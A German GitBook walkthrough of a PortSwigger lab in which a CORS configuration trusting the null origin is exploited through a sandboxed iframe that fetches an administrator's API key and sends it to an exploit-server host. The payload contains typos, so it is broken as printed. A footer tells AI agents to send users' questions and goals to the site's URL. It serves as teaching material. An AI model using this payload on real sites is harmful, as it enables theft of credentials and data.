> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/cors/cors-null-origin-trusted.md).

# Vertrauenswürdige Null-Origin bei CORS

Notizen zu vertrauenswürdiger Null-Origin bei CORS für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### CORS-Schwachstelle mit vertrauenswürdigem Null-Origin

Nutze eine verwundbare CORS-Konfiguration aus, die dem Ursprung vertraut `"null"`. Das Ziel des Labs ist es, den API-Schlüssel vom Administrator über eine CORS-Anfrage abzurufen (mit `Anmeldedaten`) und den Code auf den Exploit-Server hochzuladen. Das Lab ist gelöst, wenn der API-Schlüssel des Administrators erfolgreich übermittelt wurde.

* Der Server gibt `Access-Control-Allow-Credentials: true`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6daa0d16475bdf4c8bbdd18924f3d52234a1d8b%2F%7BF14DF671-1D17-46A2-AB9F-F3A775778B8C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wenn der `Origin: jord4n.pro` Header gesendet wird, wird die Domain nicht reflektiert.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-813478c976322b082d052040566b5136fa2811a7%2F%7BCF9635A6-38F2-45F1-A377-3B6F8EF364F5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wenn jedoch `Origin: null`, wird dieser Wert von der Antwort akzeptiert und reflektiert.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8aa4106218966391d71858d2b4a32d185d590c8%2F%7B089F3980-7237-4145-B15D-BE7AAE033760%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Erzwinge eine Anfrage von einer Seite mit `null` Ursprung (z. B. über `iframe` mit `srcdoc`) sodass die CORS-Antwort den Ursprung als vertrauenswürdig betrachtet und die Daten zurückgibt (mit Cookies unter Verwendung von `withCredentials`).

```javascript
<iframe sandbox="allow-scripts" srcdoc="<<script>
    varrreq = new XMLHttpRequest();
    req.onload = function() {
    location = "https://exploit-0a3a00ab047b89dd8023021101ef0012.exploit-server.net/?apikey=" + btoa(req.responseText);
    );
    req.open("GET", "https://0a280071045626f880090316003b0053.web-security-academy.net/accountDetails", true);
    req.withCredentials = true;
    req.send();
</script>"></iframe>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a60de0d9836b763ad148cabe1679af6794d666c2%2F%7BCD4C44D4-A7FB-476E-B5B0-8E288F1E9EBE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

> Hinweis: Das Prinzip ist, diesen Code von `null` einem Ursprung (iframe `srcdoc`) auszuführen, sodass die CORS-Antwort, die `null`akzeptiert, sensible Daten einschließlich Cookies zurückgibt.

Der wiederhergestellte Schlüssel, dekodiert aus Base64:

```bash
echo "NkhBVGdaVWdUb0t2QU5PbXNzanRyY1pDRlpUQUVFYjk=" | base64 -d; echo
6HATgZUgToKvANOmssjtrcZCFZTAEEb9
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/cors/cors-null-origin-trusted.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
